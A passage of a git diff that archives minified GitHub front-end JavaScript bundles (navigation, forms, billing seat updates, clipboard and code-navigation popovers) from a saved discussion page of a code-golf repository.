u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const 